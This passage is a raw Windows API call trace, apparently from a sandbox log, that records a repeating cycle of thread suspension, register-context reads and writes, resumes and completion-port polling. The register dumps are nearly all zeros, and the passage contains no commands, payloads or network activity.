[94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0154.842] SetThreadContext (hThread=0x194, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f960, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0154.842] ResumeThread (hThread=0x194) returned 0x1 [0154.842] CloseHandle (hObject=0x194) returned 1 [0154.843] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0154.956] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0154.956] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0155.067] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0155.067] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x194) returned 1 [0155.067] SuspendThread (hThread=0x194) returned 0x0 [0155.067] GetThreadContext (in: hThread=0x194, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f128, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fca5a80, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0155.202] SetThreadContext (hThread=0x194, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f120, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0155.221] ResumeThread (hThread=0x194) returned 0x1 [0155.222] CloseHandle (hObject=0x194) returned 1 [0155.222] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0155.335] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0155.335] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0155.444] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0155.445] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x194) returned 1 [0155.445] SuspendThread (hThread=0x194) returned 0x0 [0155.445] GetThreadContext (in: hThread=0x194, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019eee8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fc1f760, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0155.446] SetThreadContext (hThread=0x194, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019eee0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, 